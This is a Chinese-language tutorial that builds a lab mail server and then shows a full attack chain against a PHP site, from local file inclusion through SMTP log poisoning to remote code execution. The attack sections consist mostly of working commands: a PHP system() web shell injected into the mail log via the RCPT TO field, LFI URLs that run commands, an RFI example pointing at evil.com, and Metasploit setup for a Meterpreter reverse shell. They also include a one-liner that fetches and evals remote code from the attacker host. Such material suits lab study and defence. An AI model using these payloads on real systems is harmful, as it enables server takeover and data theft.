从LFI到SMTP日志投毒到远程代码执行
字数 1210 2025-08-27 12:33:37
从LFI到SMTP日志投毒到远程代码执行 - 完整教学指南
第一部分:SMTP邮件服务器搭建
1. 环境准备
-
修改主机名和域名:
sudo gedit /etc/hosts # 添加:127.0.0.1 mail.ignite.lab ignite sudo gedit /etc/hostname # 修改为:ignite sudo reboot -
验证更改:
hostname hostname -f
2. 安装Postfix
-
安装命令:
sudo apt-get install postfix- 选择"Internet site"作为配置类型
- 设置系统邮件名为
mail.ignite.lab
-
配置Postfix:
sudo gedit /etc/postfix/main.cf修改内容:
mynetworks = 127.0.0.0/8 192.168.1.0/24 inet_protocols = ipv4 home_mailbox = Maildir/ -
重启服务:
sudo service postfix restart netstat -tnl # 验证端口25是否监听
3. 安装Dovecot
-
安装命令:
sudo apt-get install dovecot-imapd dovecot-pop3d- 选择创建自签名SSL证书
- 输入域名
mail.ignite.lab
-
配置Dovecot:
/etc/dovecot/conf.d/10-auth.conf:disable_plaintest_auth = yes auth_mechanisms = plain login/etc/dovecot/conf.d/10-mail.conf:mail_location = maildir:/home/%u/Maildir/etc/dovecot/conf.d/10-master.conf:Mode = 0600 User = postfix Group = postfix
-
重启服务:
sudo service dovecot restart netstat -tnl # 验证端口110(POP3)和143(IMAP)是否监听
4. 配置邮件客户端(Thunderbird)
-
创建用户:
sudo adduser sr sudo adduser raj -
Thunderbird配置:
- 名称:sr
- 邮箱:[email protected]
- 密码:1234
- 手动配置:
- 接收(IMAP):192.168.1.107,端口143
- 发送(SMTP):192.168.1.107,端口25
第二部分:文件包含攻击(LFI/RFI)
1. PHP文件包含基础
-
include与require区别:
include:文件不存在时继续执行require:文件不存在时终止执行require_once:确保文件只被包含一次
-
示例代码:
// footer.php <?php echo "<p>Copyright © 2010-".date("Y")." hackingartices.in</p>"; ?> // 包含示例 <?php include 'footer.php'; ?>
2. 文件包含漏洞类型
-
本地文件包含(LFI):
- 包含服务器本地文件
- 示例:
http://target/vulnerabilities/fi/?page=/etc/passwd
-
远程文件包含(RFI):
- 包含远程服务器文件
- 需要
allow_url_include=On - 示例:
http://target/vulnerabilities/fi/?page=http://evil.com/shell.txt
3. 防御措施
- 输入验证和白名单
- 禁用危险函数:
allow_url_fopen = Off allow_url_include = Off - 使用最新PHP版本
- 最小权限原则
第三部分:从LFI到RCE的利用链
1. 初始侦察
-
扫描SMTP服务:
nmap -p25 192.168.1.107 -
验证LFI漏洞:
http://192.168.1.107/lfi/lfi.php?file=/etc/passwd
2. SMTP日志投毒
-
连接SMTP服务:
telnet 192.168.1.107 25 -
注入PHP代码:
MAIL FROM:<attacker@example.com> RCPT TO:<?php system($_GET['c']); ?> -
通过LFI执行命令:
http://192.168.1.107/lfi/lfi.php?file=/var/log/mail.log&c=ifconfig
3. 获取反向Shell
-
使用Metasploit:
use exploit/multi/script/web_delivery set target 1 set payload php/meterpreter/reverse_tcp set lhost 192.168.1.109 set srvport 8888 exploit -
执行生成的Payload:
http://192.168.1.107/lfi/lfi.php?file=/var/log/mail.log&c=php -d allow_url_fopen=1 -r "eval(file_get_contents('http://192.168.1.109:8888/XYZ'));" -
获取Meterpreter会话:
sessions 1 meterpreter> sysinfo
总结
本教学详细介绍了从搭建SMTP测试环境到利用LFI漏洞,再到通过SMTP日志投毒最终实现远程代码执行的完整攻击链。关键点包括:
- SMTP服务器配置和邮件客户端设置
- PHP文件包含漏洞的原理和利用方式
- 通过日志投毒将LFI升级为RCE的技巧
- 使用Metasploit获取反向Shell的方法
防御方面应重点关注输入验证、服务配置和权限控制,特别是对文件包含功能的严格限制。